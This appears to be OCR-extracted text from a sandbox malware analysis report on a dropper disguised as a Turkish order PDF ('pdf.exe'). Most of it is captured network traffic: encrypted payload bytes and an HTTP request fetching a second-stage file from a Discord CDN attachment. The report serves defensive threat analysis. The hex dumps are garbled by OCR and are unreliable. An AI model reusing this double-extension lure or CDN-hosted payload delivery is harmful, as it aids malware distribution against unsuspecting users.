0!6448-%u0f\#.fh #ufkuM
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kBytes

Timestamp transferred Direction
2022-06-26 07:42:48 UTC 32 IN
2022-06-26 07:42:48 UTC 33 IN
2022-06-26 07:42:48 UTC 34 IN
2022-06-26 07:42:48 UTC 36 IN
2022-06-26 07:42:48 UTC 37 IN
2022-06-26 07:42:48 UTC 38 IN
2022-06-26 07:42:48 UTC 40 IN
2022-06-26 07:42:48 UTC 41 IN
2022-06-26 07:42:48 UTC 42 IN

Copyright Joe Security LLC 2022

Data

Data Raw: Oc e5 64 20 21 de 28 35 64 58 1d Oc e5 64 20 19 64 20 15 64 20 11 e4 f7 99 e8 14 f3 99 e4 d1 61 00 99 33 cf
6f 50 ce 64 1d 06 20 1d c4 fe de 25 25 14 f3 99 17 d1 61 00 99 c4 68 83 23 64 38 0d ad 20 c2 61 08 50 e0 14 f3 99 01 d1
0d a3 25 25 25 61 5f 50 2f 64 38 19 14 f3 99 a6 d1 c6 bc 64 38 05 96 da da da da 61 53 50 2f 14 f3 99 dd d1 0d 7f 25 25
2564 38 01 64 50 fd 2c 77 0d 70 25 25 25 7f 66 38 05 04 a6 4e 27 Oc b6 a5 58 c2 08 50 2f 04 ef 4e 29 dc ac Oc {7 ce c9
62 b4 04 ef 4e 29 dc ac Oc f7 d5 45 ce cf 62 b4 04 ef 4e 29 dc ac Oc f7 ce c9 5e 58 15 25 99 2f 77 68 20 15 0d 41 da da
da 7f 34 66 50 fd c4 22 da da da Oc b6 61 4f 99 47 61 55 97 18 61 14 52 14 44 b6 2f 25 25 25 51 55 ea db e5 dc 9e 14 {3
99 de d1 c6 09 7d c4 55 da da da 66 20 19 16 20 2d 5a 37

Data Ascii: d !(5dXd d d a3oPd %%ah#d8 aP%%%a_P/d8d8aSP/%%%d8dP,wp%%%f8N'XP/N)bN)EbN)"X%/wh
A4fP"a0GaUaRD/%%%QU}Uf -Z7

Data Raw: 25 ad 20 17 a2 20 11 25 25 25 25 dd ee 25 25 25 a5 d4 25 50 f2 66 20 31 5e 1d 27 58 e0 dd 27 25 25 25 5e
1d 37 a3 e0 dd 37 25 25 25 64 20 31 75 dd ea 02 25 25 a5 58 35 27 97 de 66 20 2d 75 68 20 f9 0d 38 27 25 25 66 58 21
ea 92 20 f9 08 da 5a 25 25 5e 1d 27 4e 3f 64 9c 0d 95 25 25 25 68 d9 24 e5 bl 65 25 de 50 11 94 de 25 25 25 ce c9 c6 0
86850 b2 ea db 38 35 a5 d6 dc 99 35 a5 d6 29 52 e4 ea 9a 20 f9 16 20 31 a3 27 8e 25 68 41 78 d1 b1 65 25 de 38 11
66 f6 de 38 11 da ae 64 1d 06 20 21 36 83 3a c4 cc dc 25 25 b4 bl 65 25 10 68 65 25 91 68 65 25 91 68 65 25 fb 68 65
2524 73 6b 73 1c 73 d1 2d €5 50 de d5 55 73 9e a5 58 fb 25 99 de d5 08 cf 9e 0d cc da da da ea 9a 28 9 Oc f7 16 28 31
5a f8 5e d4 d8 al 3d e4 a4 5a 3f d5 55 cf a5 63 25 99 5f af 20 d6 cf d2

Data Ascii: % %%%%%%%%Pf 1N"X'%%%"77%%%d 1u%%X5'f -uh 8'%%fX! Z%%"N'N?d%%%h$e%P%%%hP855)R
1'%hAxe%8f8d 16:%%e%he%he%he%he%$skss-PUsX%((1Z"=Z2?Uc%_

Data Raw: da 36 a5 da 08 50 27 b4 05 a5 d6 25 99 29 ba 1a c6 27 b6 1a 76 ba 05 8b 84 e4 25 50 2b d5 dc c6 29 b8 fd Oc
€576 b6 07 b4 48 1d 76 c6 7b d1 2d 5 99 29 61 45 99 d2 73 9e Oc €5 Oc 7 d1 51 5f 29 2f 4e ea ff €8 al 9c 1c 25 64 20
19 f 20 19 67 c6 0f 73 9e Oc €5 Oc 7 af 33 a5 d4 06 99 e0 a5 d4 08 50 dc 6b af 2b 51 5f 29 2f 4e 33 6b 46 7 2f dc e7 5¢
1f 19 dc 25 25 97 Of a5 d4 08 50 27 d2 ff 9e 36 83 3a 66 cO 38 9e 30 66 11 5e €9 €5 2e 66 fd 8f 25 8f ea 8f 25 68 30 2d
68 20 e5 Oe a4 0d 5 d4 da da 66 ed 68 30 5 66 9e 0d 31 8a da da 36 66 c0 38 e7 31 25 b5 30 66 11 5e €9 5 2e 66 fd 8f
25 8f 25 8f 25 68 30 2d 68 20 €5 8c dc 0d ¢5 d4 da da 66 ed 68 30 e5 66 9e 0d 01 d3 da da 36 66 c0 38 7 2d 25 b5 2e
7b 66 17 66 fd 66 9e 0d 72 d7 da da 66 fb Oe a4 0d 9b 23

Data Ascii: 6P'%)Vo6P+)VHv{-)aEsQ_)/N%d gs3Pk+Q_)/N3KFA\Y606P'6:f80f".1%6%6h0-h thOf1681%60f".%69606h0-h fhof6fs-
o (it

Data Raw: 66 ff 60 b6 99 3f 66 30 2d 66 b7 21 23 da da 66 28 2d 68 b9 ec 25 da da da 66 a6 0d fb b9 da da 66 20 2d dc
bd 21 23 da da 36 38 9e 66 e5 30 66 11 2e 66 fd 66 20 2d 75 66 9e 0d d2 86 da da 66 f5 66 9e 0d c7 da da da 34 36 38
9e 66 e5 30 66 11 5e €9 05 2e 7b 66 17 66 fd 66 20 2d 75 8f 29 64 50 05 eb 20 09 25 64 38 0d eb 20 11 25 68 20 05 75
8f dc 94 b1 9c 1c 25 68 20 15 df 35 25 25 25 0d d9 ca da da 66 f5 68 20 15 0d 7f da da da 34 83 36 66 c0 38 9e 68 65 25
3066 11 2c 66 20 2d 5e e5 21 66 35 64 30 21 c6 27 da 25 66 35 af 37 66 28 2d 5f 2c d6 99 17 66 25 06 20 21 65 66 30 2
d 64 67 19 34 38 9e 66 5 30 66 11 66 20 2d a5 9d c8 25 50 4f 66 20 2d 66 65 2d da 95 31 da 95 2d 66 20 2d 68 6d 13
66 20 2d 68 75 15 66 20 2d 5e e5 17 0d 70 23 da da 66 20 2d eb 65 c8

Data Ascii: f ?f0-fl#f(-h%ff -1#68fOf.ff -ufff468f0f . {fff -u)dP %d8 %h u%h 5%%%fh 46f8he%O0f,f -A1f5d0!'%f57f(-_,f% lef0-
dg48foff -%POf -fe-1-f -hmf -huf -"p#f -e

Data Raw: 25 0d ca 1f da da 34 c4 ed e0 25 25 30 0d Oa d6 da da 34 30 0d 7d d6 da da 34 66 20 2d 75 30 68 30 fd 66 20
19 0d 9a d6 da da 34 66 20 fd 0d c7 1f da da 34 c4 76 e0 25 25 30 0d 27 d6 da da 34 30 0d 06 d6 da da 34 66 20 2d 75
30 68 30 f9 66 20 19 0d 23 21 da da 34 66 20 f9 0d 50 1f da da 34 c4 93 e0 25 25 30 0d b0 1f da da 34 30 0d 23 1f da da
34 66 20 19 6d 5e 0d 27 97 29 99 3d ¢6 55 66 20 2d 75 ea 92 20 15 66 30 19 0d 89 1f da da 34 c4 18 e0 25 25 66 20 2d
75 ea 92 20 15 66 29 60 d1 Ob 1c 25 0d 4f 1f da da 34 c4 fe e0 25 25 66 20 2d 75 ea 92 20 15 66 29 60 01 Ob 1c 25 0d 35
1f da da 34 c4 e4 e0 25 25 30 0d 95 1f da da 34 66 20 19 6d 5e 0d 27 97 2f 99 00 6d 99 24 6d 99 48 c6 5a 30 0d ab 1f da
da 34 66 20 2d 75 ea 92 20 13 66 30 19 0d d4 d4 da da 34 c4 7

Data Ascii: %4%%040}4f -uOhOf 4f 4v%%0'404f -uOhOf #!4f P4%%040#4f m"')=Uf -u f04%%f -u f)" %04%%f -u

) %54%%04f mN/m$mHZ04f -u f04

Data Raw: 66 20 2d 75 dd c1 0b 1c 25 df dc 25 25 25 0d 00 dO da da 34 c6 40 66 2b 64 20 01 c6 fa 66 2b af 25 00 da 25
25 25 ea 7e €0 3d 9c 1c 25 4e e6 66 2b 0d 6b f8 25 25 64 2b c6 27 da 2b 66 2b a5 5d 25 99 e4 66 2b af 25 5f 20 d6 50 ac
66 20 2d 75 66 3b 06 30 01 66 20 01 0d b6 19 da da 34 66 2b a5 5d 25 99 3b da 2b c6 37 66 20 2d 75 68 20 d6 df dc 25
25 25 0d €3 19 da da 34 66 2b a5 5d 25 ea 60 ff 1d da da 66 20 2d da ad 1d 23 da da Oe e5 7f 34 34 89 64 35 8d 0 c7 65
25 68 20 f9 df 27 25 25 25 0d 1a c3 da da 9e c4 4c 72 da da c6 c6 3a 83 36 66 c0 38 9e 1c 28 0a 75 28 25 25 25 1c 0a 75
25 1c 28 75 28 25 25 25 25 1c 1c 1c 1c 25 25 25 25 1c 1c 1c 25 45 25 25 25 30 66 11 5¢ €9 1d 23 da da 2e 7b 66 ff 66 15
0e €5 64 60 21 23 da da Oe €5 64 60 1d 23 da da 60 b6 99 €6

Data Ascii: f -U%606%%64@F+d F+96%%606~=96NF+k9606d+++]96f+96_ PF -Uf,0f 4F+]06;+7f -uh %%6%64+]%'f -#44d5e%h '
060611 618(U(%60%6%UY6(U(%6%6%Y6%6%YY60E %Y6060N {ffd Hd #'

Data Raw: 13 8b 66 20 17 8b 64 20 11 c6 5b 8b 66 58 15 af 20 c4 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 19 8b 64 20
11 c6 3f 8b 66 58 19 af 20 c6 ad 20 0d 8b 66 20 17 8b 64 20 13 8b 66 20 15 8b 64 20 11 5e 58 21 25 a3 33 30 ea 92 a2
0d e2 23 da da 34 66 1d c6 95 a5 58 0d 27 52 8f 0d 46 ca da da ea 92 ed ea 92 e0 09 e5 1c 25 06 ed 66 9c 2c 94 89 25
25 25 74 d2 d4 34 8b 46 e5 89 8b de 1d 8b 5e 18 09 e5 1c 25 25 9b 61 ea 92 a2 16 ed a3 10 8b 5e a2 89 c6 Oa 0d 55 ca
da da 66 1d a5 58 1b dc 50 37 8b 66 20 19 8b 64 20 11 8b 66 20 17 8b 64 20 13 c6 35 8b 66 20 19 8b 64 20 13 8b 66 20
17 8b 64 20 11 66 ae af €8 6¢ Ob 1c 25 66 eb 0d 3e 21 da da 66 ae 66 eb 0d 3b d6 da da a5 18 79 c2 1c 25 25 ea a9 8e
2525 25 66 f0 b9 Ob 1c 25 dd d5 cd 65 25 0d f4 c3 da da 60 e5 ea a9 76

Data Ascii: fd [fX fdfd ?fX fd fd"X!%30#4fX'RF%f,%%%t4F%%a UfXP7f d fd 5f d f d fl%f>!ff;y%%%%%{%e% v

Data Raw: da da 66 9e 0d d4 b9 da da c6 e4 66 9e 66 fb 0d 77 b9 da da 83 36 66 cO 38 e7 29 25 66 €5 2e 7b 32 2c 66 b4
66 17 66 1d 8f 27 68 69 49 29 75 7b 32 0d 29 dd da da 60 €5 a3 €0 af 29 49 c6 27 66 9e 7f 3a 83 36 9e 30 66 11 2¢ 2e
7b 32 64 28 21 66 1f 66 15 66 38 2d 2e 66 20 35 66 65 21 Oe a4 66 fb 0d 46 da da da 5e 16 25 50 e8 66 20 21 66 29 dd
66 ae 0d 58 d7 da da 3a 83 36 34 38 e7 2d 25 b5 30 66 11 Oe a4 2¢ 2¢ 2¢ 2¢ 2¢ 2¢ 2e 7b 32 Oe €5 30 8d 86 88 65 25 89
da 55 89 64 45 0d a2 92 da da 64 20 21 96 dc 25 25 25 €3 d5 Ob 1c 25 9a 05 Ob 1c 25 30 8f €6 68 20 19 75 94 b5 9¢ 1c
25 66 ae 6f 68 1e 69 6d 0d 54 da da da 34 66 30 19 66 eb 0d b3 6e da da 30 8f e6 68 20 15 75 94 €5 9¢ 1c 25 66 ae 6f 68
1e 5d 6d 0d 7b da da da 34 66 30 15 66 a2 0d 46 6e da da le 5e a2 29

Data Ascii: fffw618)%f.{2, ff hil)u{2)")I':60f, {2d(1fff8-.f 5felfFA%PF If)fX:648-%0f, ..., {20e%UdEd 196%%%%0h u%fohimT
4f0fnOh u%foh]m{4fofFn®)

Data Raw: 7b 0d a6 8e da da 5c 98 01 21 da da 25 35 25 25 50 41 8d e0 dc 25 25 68 60 0f d8 da da 75 66 60 f5 21 da da
75 0d 9a d7 da da 60 e5 50 fe 8d e0 dc 25 25 68 60 0f d8 da da 75 7c 8d Ob 1c 25 75 0d c9 d7 da da 66 eb 0d 68 da da
da 64 20 19 c6 e4 06 90 f5 21 da da 64 50 19 68 60 0f d8 da da d7 81 0d b7 33 25 25 66 f5 67 68 60 ca 23 da da 94 29 dc
25 25 0d 22 ae da da dd 09 d7 65 25 64 20 21 dd 09 d7 65 25 64 20 1d 66 9e 66 fO d5 4a 65 25 0d 53 a9 da da a9 e5 99
04 66 1e 29 0d fb b7 da da 64 20 21 66 20 21 0d c6 f7 da da 60 €5 99 37 66 30 21 a5 al 27 da 53 99 2d dd 0d d7 65 25 6
420 1d 8d 25 dc 25 25 68 60 0f 21 da da 75 7c 5d f5 1c 25 66 65 29 75 7c 8d Ob 1c 25 0d d3 7c da da 75 0d 75 8e da da
68 70 c9 d6 da da 66 de 0d 8a 5c da da 68 60 c9 d6 da da 64 60 c9

Data Ascii: {\!%5%%PA%%h uf u’P%%h u|%ufhd !dPh 3%%fgh #)%%"e%d !e%d ffle%Sf)d !f ' 7f0I'S-e%d %%%h
“lu|]%fe)u|%|uuhpfih*d®
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kBytes

Timestamp transferred Direction
2022-06-26 07:42:48 UTC 44 IN
2022-06-26 07:42:48 UTC 45 IN
2022-06-26 07:42:48 UTC 46 IN
2022-06-26 07:42:48 UTC 48 IN
2022-06-26 07:42:48 UTC 49 IN
2022-06-26 07:42:48 UTC 50 IN
2022-06-26 07:42:48 UTC 52 IN
2022-06-26 07:42:48 UTC 53 IN
Session ID Source IP Source Port
1 192.168.2.3 49719

Copyright Joe Security LLC 2022

Data

Data Raw: da da 66 20 21 64 20 09 eb 20 0d e6 64 50 11 eb 20 15 6 64 58 19 eb 20 1d 25 68 20 09 75 8f 27 68 30 05
7¢ 0d aa 1c 25 0d 2 cd da da 66 28 05 d7 dc 7c fd 52 65 25 0d 11 21 da da 66 fd Oe e5 7f 34 34 89 64 35 8d 06 92 65 25
68 20 05 0d 8 64 da da 68 20 21 0d €0 64 da da 9e c4 36 a7 da da c6 0d 66 9e 3a 83 36 66 cO 38 9e 64 f1 64 39 49 66
48 25 ¢4 56 a7 da da 9e 66 €5 30 66 11 0d 61 da da da 68 28 2d 5e 9c 29 66 30 2d 0d ff da da da 38 e7 29 25 66 €5 66 e
8 el 3 1c 25 d7 dc 7c 5d 9d 65 25 0d 23 21 da da 0d 20 a7 da da 9e 66 25 18 b7 25 25 e5 5a 51 99 34 18 b3 25 25 €5 5a
f0 99 2e 08 €0 25 25 e5 99 30 08 62 25 25 25 99 61 6d 99 6d c6 30 €0 4c¢ da da 1a 5e 0d 27 97 Oe 99 12 c6 22 18 bb 25
25 e5 5a ec 99 10 08 6e 25 25 e5 99 4d 6d 99 ee 6d 99 3b c6 Oa 08 d8

Data Ascii: f Id dP dX %h u'h0|%f(|Re%!f44d5e%h dh 1d61:6f8dd9IfHY6VIOfah(-")0-8)%1T%|Je%#! 1%%%ZQ4
%6%Z.%%600%%%ammOLA"%%ZNn%%Mmm:;

Data Raw: 94 a5 25 25 25 0d 48 ab da da 5c e9 b9 25 25 25 9e 66 e5 7b 32 66 1f Oe f7 60 €5 99 8b a5 61 5d 25 99 85 60
da 50 39 af 25 00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 71 d7 dc c6 6d 66 d2 73 c6 dc 73 60 1b al 37 af 31 55 5¢ bec da 25
2525 ea 7e 8 3d 9c 1c 25 97 c4 66 aa 06 f3 5¢ be dc 25 25 a5 54 e0 24 5e a4 23 1c 60 a4 50 29 d7 27 c6 ee af 29 5d
00 da 25 25 25 ea 7e e0 3d 9c 1c 25 4e 27 d7 dc 66 e7 3a 83 9e 68 65 25 2e 7b 66 17 66 fd Oe e5 a5 18 79 c2 1c 25 25
99 ea 66 9e 0d 49 ad da da 66 fb 6f 0d 8d da da da 83 36 9e b5 Oe a4 a5 18 79 c2 1c 25 25 99 e2 0d 79 da da da 66 ed 6
6 9c 9e 68 65 25 2e 7b 66 17 66 fd 66 9e 0d ce 60 da da 16 15 a3 e4 66 9e 0d 0d 60 da da 66 15 66 fb 66 9e 0d e0 25 25
25 83 36 9e 66 e5 2e 7b 32 30 66 1f 66 15 Oe c8 60 da a3 6b 66 eb

Data Ascii: %%%H\%%%f{2f a]% P9%%%%~=%Nqmfss 71U\%%%~=%A\%%T$"# P)')]|%%%~=%N'f:he%.{ffy%%of
1fo6y%%yffhes {fff f fff%6%%6f {20ff kf

Data Raw: 7c 6d c2 1c 25 0d 99 da da da 75 0d 9b c7 da da Oe 1b c6 04 af 69 12 2b af 81 12 e2 4f fd 97 3f 1e ad 20 da af
20 da 00 da 25 25 25 ea 86 €0 3d 9c 1c 25 23 20 da 23 a6 50 Of 5e eb 27 5e 23 31 58 2f af 69 12 2b 2f 69 12 e2 50 ed 3a
833634 389e 7c 71 c2 1c 25 5e 1d fa 52 e2 ea 7e e0 35 9e 1c 25 ea b7 e5 9e 68 65 25 30 66 11 5¢c €9 89 23 da da 2e
7b 32 a2 e0 6d c2 1c 25 e4 29 25 25 a2 e0 71 c2 1c 25 e4 25 25 25 a2 e0 75 ¢2 1c 25 dc 25 25 25 0d 48 c7 da da 60 e5
99 e0 7e 6d c2 1c 25 8b 60 e5 99 6 66 f5 8b 5¢ 07 da de ea 92 f7 64 f0 71 c2 1c 25 ea 92 e5 9c 0d 2f 7e 75 c2 1c 25 e3
61 9e 65 25 9a 3d 9c 1c 25 94 2d 25 25 25 ce 80 5e 18 f5 e5 1c 25 27 ea 60 88 25 25 25 0d 48 da da da a9 e5 99 ee eb
e030c2 1c 25 25 eb e0 79 c2 1c 25 25 ¢4 9a 25 25 25 30 0d 15

Data Ascii: |[m%ui+O? %%%=%# #P " #1X/i+/iP:648|q%"R~5%he%0f\#.{2m%)%%q%%%%u%%%%H ~m% f\dq
%/~u%ae%=%-%%%"%" %% %H0%%y%%%% %0

Data Raw: 25 da 00 59 ce 1c 25 66 e5 30 66 11 5e €9 11 2e Oe e5 64 20 11 Oe €5 30 8d 91 a2 65 25 89 da 55 89 64 45
0d 20 78 da da 66 fd 60 b6 99 12 64 38 15 eb 20 19 25 68 30 11 66 9e 0d af 09 da da 66 20 11 64 20 1d eb 20 21 e6 68
20 15 75 8f dc 66 €8 cd aa 1c 25 d7 dc 7c 15 9d 65 25 0d 9d c8 da da 66 f5 c6 39 66 e8 45 5 1c 25 d7 dc 7c 15 9d 65 25
0d 4b c8 da da 66 f5 64 7f 31 66 €7 0d 8b 97 da da Oe e5 7f 34 34 89 64 35 8d 4e a2 65 25 68 20 11 0d 98 9d da da 9e ¢
4 ee 97 da da c6 15 36 66 c0 38 9e 2e 66 fd 60 b6 50 €0 0d 7d da da da 66 9e 36 9e 2e 7b 2c 96 39 9e 1c 25 66 19 c6 3b
66 de 64 2b 66 2b 66 25 64 de df 2d 25 25 25 66 2b 0d 5f 87 da da 5e 16 25 50 c0 7f 83 36 9e b5 2e 8d 11 a2 65 25 0d
7c cl dada 66 fd 60 b6 99 35 8d 21 a2 65 25 2e 0d bd c1 da da 7e 61

Data Ascii: %Y%f0f*.d 0e%UdE xf'd8 %h0ff d !h uf%|e%fofE%|e%Kfd1f44d5Ne%h 6f8.f P}6.{,9%f;fd+f+{%d-
%%%f+_"%P6.e%|f 5'e%.~a

Data Raw: da da 66 29 49 da 6d 31 66 29 49 5e 9d 31 25 50 6d 66 f9 66 1e 45 0d e4 d8 da da 0d €9 72 da da 16 1e 49

99 59 68 1e 31 0d 92 d6 da da 66 ed 5c d4 da da 25 25 50 e4 66 9e 0d 43 23 da da c6 f4 60 a4 5a fO 66 9c 94 da da 25
25 74 d2 d4 60 7 50 e2 66 9e 0d de 23 da da 7f 36 9e 66 35 Oe a4 64 2d 66 e7 0d e2 8d da da 9e 66 e5 30 66 11 5e e9 1
9 2e 66 fd 77 0d 2c bd da da 64 20 19 Oe e5 30 8d 2f a8 65 25 89 da 55 89 64 45 b4 58 23 Oe e5 30 8d 11 f1 65 25 89 da
55 89 64 45 66 9e 0d 3d 9d da da 75 0d ef 72 da da 64 20 1d Oe e5 7f 34 34 89 64 35 8d ce f1 65 25 b6 07 b4 48 23 9e c4
6e 91 da da c6 ce Oe e5 7f 34 34 89 64 35 8d ec a8 65 25 66 20 19 75 0d ca 72 da da 9e c4 50 91 da da c6 ca 66 20 1d
36 66 cO 38 9e 68 65 25 f8 25 25 25 31 9e 1c 25 bl aa 1c 25 29 9e 1c

Data Ascii: f)im1f)I*"1%PmffErlYh1A\%%PfC# Zf%%t Pf#6f5d-ffOf*.fw,d 0/e%UdEX#0e%UdEf=urd 44d5e%H#n44d5e%f
urPf 6f8he%%%%1%%)

Data Raw: 65 dd 41 a8 65 25 0d 45 91 da da dd 2d f3 65 25 0d 63 91 da da a5 18 40 Ob 1c 25 25 99 ea dd 5d 9c 1c 25 df
0d ac 65 25 0d ef 93 da da 0d e4 c4 da da 0d 2d 0f da da 0d ce dO da da 0d bb cc da da Oe e5 7f 34 34 89 64 35 8d b6 ac
65 25 9e c4 86 42 da da c6 1d 38 9e 25 25 25 da da da da 27 25 25 25 55 9d 25 25 2e 7b 66 17 66 fd 16 ce 58 33 66 9e
06 eb 0d b4 81 da da de eb 83 36 9e 66 eb 06 9e 0d a6 81 da da de 9e 83 36 9e 66 e5 30 66 11 Oe e5 30 8d 14 7 65 25
89 da 55 89 64 45 da e0 cd c2 1c 25 Oe e5 7f 34 34 89 64 35 8d 65 {7 65 25 9e c4 6b 42 da da c6 1d 38 9e 66 e5 5e 08 cd
€2 1c 25 dc 9e 30 66 11 Oe e5 30 8d 4c f7 65 25 89 da 55 89 64 45 da e0 d1 c2 1c 25 Oe e5 7f 34 34 89 64 35 8d 9d 7 65
25 9e c4 33 42 da da c6 1d 38 9e 66 e5 5e 08 d1 c2 1c 25 dc 9e

Data Ascii: eAe%E-e%c@%%]%e%-44d5e%B8%%% '%%%U%%.{ffX3f6f6f0f0e % UdE%44d5ee%kB8f %0f0Le%UdEYS
44d5e%3B8f"%

Data Raw: 15 66 9e 36 34 38 e7 35 25 b5 da 00 6d ce 1c 25 66 e5 da 00 69 ce 1c 25 66 e5 da 00 65 ce 1c 25 66 e5 da 00
61 ce 1c 25 66 e5 30 66 11 2c 2e 7b 66 ff 66 15 64 38 21 66 20 2d 5e 9d 21 25 99 f4 7b 66 20 2d 66 65 21 75 0d 18 68 da
da 64 20 21 5e 58 21 25 50 de 64 38 21 66 20 21 83 36 34 38 9e b5 30 66 11 2c 8d 5d b4 65 25 0d 37 68 da da 64 20 21
30 df c9 7 65 25 dd 6d b4 65 25 0d 82 da da da 34 7e d5 c2 1c 25 30 df f9 f7 65 25 dd 81 b4 65 25 0d 6¢ da da da 34 7e
d9 c2 1c 25 30 df f9 7 65 25 dd 89 b4 65 25 0d 56 da da da 34 7e dd c2 1c 25 30 df 05 f7 65 25 dd 91 b4 65 25 0d 40 da
da da 34 7e el c2 1c 25 30 df 05 f7 65 25 dd 99 b4 65 25 0d 2a da da da 34 7e e5 c2 1c 25 30 df 05 f7 65 25 dd al b4 65
25 0d 14 da da da 34 7e €9 c2 1c 25 30 df 05 f7 65 25 dd a9

Data Ascii: f6485%m%fi%fe%fa%fof, {ffd8!f -~%({f -feluhd "X!%Pd8!f 16480f,]e%7hd !0e%me%4~%0e%e%l4~
9%0e%e%\V4~%0e%e% @4~%0e%e%*4~%0e%e%4~%0e%

Data Raw: 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20
7b 3c 97 44 3¢ 93 99 79 54 95 40 1e 3c 4e 99 20 97 97 4a 97 66 €5 el 01 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 el 01 65 25 31 25 25 25 al 52 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25
ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 f0 20 7b 3¢ 97 44 3c 93 99 2a 9b 40 97 8b 91 4a 52 20 97
97 4a 97 66 e5 45 b8 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 45 b8
65 25 31 25 25 25 al 52 65 25 d9 5b 65 25 e5 5b 65 25 €9 5b 65 25 ed 5b 65 25 el 5b 65 25 59 59 65 25 75 59 65 25 bl
59 65 25 2 20 7b 3¢ 97 44 3¢ 93 99 24 93 9b 3c 91 44 89 1c 97 42 20 97 97

Data Ascii: %[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<yT@<N Jfe%%%%%6%%% %% %% %%%6%%0% %% %% %% %% %
%%e%1%%%Re%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D<*@JIR JFfEe%%%%% %% %%%%%%%% %% %%

%% %%%%%%%%Ee%1%%%Re%[e%[e%[e%[e%[e%Y Ye%uYe%YeY {<D<$<DB

Destination IP Destination Process
Port
162.159.130.233 443 C:\Users\user\Desktop\Yeni sipari#U015fi onaylay#U0131n - TK176H,pdf.exe
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kBytes

Timestamp A Direction
2022-06-26 07:42:48 UTC 57 ouT
2022-06-26 07:42:48 UTC 57 IN
2022-06-26 07:42:48 UTC 59 IN
2022-06-26 07:42:48 UTC 59 IN
2022-06-26 07:42:48 UTC 60 IN
2022-06-26 07:42:48 UTC 61 IN
2022-06-26 07:42:48 UTC 63 IN
2022-06-26 07:42:48 UTC 64 IN

Copyright Joe Security LLC 2022

Data

GET /attachments/990482594137251863/990489253987360768/Eluiezilfiwmdrgrdfrgpnwmurrnwnhm HTTP/1.1
User-Agent: 21

Host: cdn.discordapp.com

Cache-Control: no-cache

HTTP/1.1 200 OK

Date: Sun, 26 Jun 2022 07:42:48 GMT

Content-Type: application/octet-stream

Content-Length: 279040

Connection: close

CF-Ray: 72144ef0eddbbb95-FRA

Accept-Ranges: bytes

Cache-Control: public, max-age=31536000

Content-Disposition: attachment;%?20filename=Eluiezilfwmdrgrdfrgpnwmurrnwnhm

ETag: "7d74af495b07aad93486870343b767e3"

Expires: Mon, 26 Jun 2023 07:42:48 GMT

Last-Modified: Sun, 26 Jun 2022 05:30:40 GMT

Vary: Accept-Encoding

CF-Cache-Status: MISS

Alt-Svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
X-goog-generation: 1656221440589477

x-goog-hash: crc32c=Xt3y7g==

x-goog-hash: md5=fXSvSVsHqtkOhocDQ7dn4w==

X-g00g-metageneration: 1

X-goog-storage-class: STANDARD

X-goog-stored-content-encoding: identity

x-goog-stored-content-length: 279040

X-GUploader-UploadID: ADPycdvxBSrtOJadICrFNKKLfO89NIJC2XolLUI9I7gh0iKGSgrZ72iFb7WGALILAXIO6pTzoCsdju
JYzhz500HWT7alxBA

X-Robots-Tag: noindex, nofollow, noarchive, nocache, noimageindex, noodp

Report-To: {"endpoints":[{"url":"https:V\V/a.nel.cloudflare.comVireport\\v3?s=b6QKg3CSTE%2B519Ip1p3v10r2uF4jcC
WIiuHVEH%2BIvZt19%2FyN8BLBAVUIP1VZgIETdO9081AT2sJY0zJ05Q7EIQYKCBFtp8s1QcgluhsHquUIFJI6tKzZS
zfdsn1fhf3OUfO2EqQ%3D%3D"}],"group":“cf-nel","max_age":604800}

Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2c 22 72 65 70 6f 72 74 5f 74
6f 22 3a 22 63 66 2d 6e 65 6¢ 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20
63 6¢ 6f 75 64 66 6¢ 61 72 65 0d Oa 0d Oa

Data Ascii: NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflare

Data Raw: 28 7f b5 25 de 25 25 25 29 25 25 25 da da 25 25 dd 25 25 25 25 25 25 25 65 25 25 25 25 25 25 25 25 25 25
25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 dc 25 25 33 fa df 33 25 d9 e4 a8 fc dd dc
71 a8 fc 79 8d 44 4e 45 95 97 4a 42 97 3c 48 45 3e 3¢ 93 93 4a 99 45 87 40 45 97 50 93 45 44 93 45 69 2a 2e 45 48 4a
89 40 53 e8 e8 2f 49 25 25 25 25 25 25 25 19 fb 3d ab d5 92 9b b0 d5 92 9b b0 d5 92 9b b0 Oe 86 9d b0 92 92 9b b0 ba ¢
d 58 b0 8e 92 9b b0 ba cd al b0 96 92 9b b0 ba cd 97 b0 d7 92 9b b0 63 9a 04 b0 90 92 9b b0 7d cd 58 b0 8e 92 9b b0
63 9a 3b b0 8¢ 92 9b b0 d5 92 52 b0 a5 db 9b b0 Oe 9a 06 b0 7e 92 9b b0 ab 6¢ 58 b0 47 92 9b b0 ab 6¢ al b0 8¢ 92 9b
b0 86 4f 01 b0 d9 92 9b b0 52 8¢ 95 b0 8c 92 9b b0 77 44 3e 8d d5 92 9b

Data Ascii: (%%%%)%%%6%%%%%%%%%0e %% % % %% %% %% % %% %% % % % %% %% %% % % % %%

%% %%%%%%%33%qyDNEJIB<HE><JE@EPEDEi*. EHI@S/1%%%%%%%=Xc}Xc;R~IXGIORwD>

Data Raw: 59 65 25 ec 79 24 93 99 40 97 8b 3c 3e 40 89 2a 87 8f 40 3e 99 66 e5 da 00 b5 cc 1c 25 66 e5 da 00 bl cc 1c
2566 e5 da 00 ad cc 1c 25 66 e5 da 00 a9 cc 1c 25 66 e5 da 00 a5 cc 1c 25 66 e5 da 00 c9 cc 1c 25 66 e5 da 00 al cc
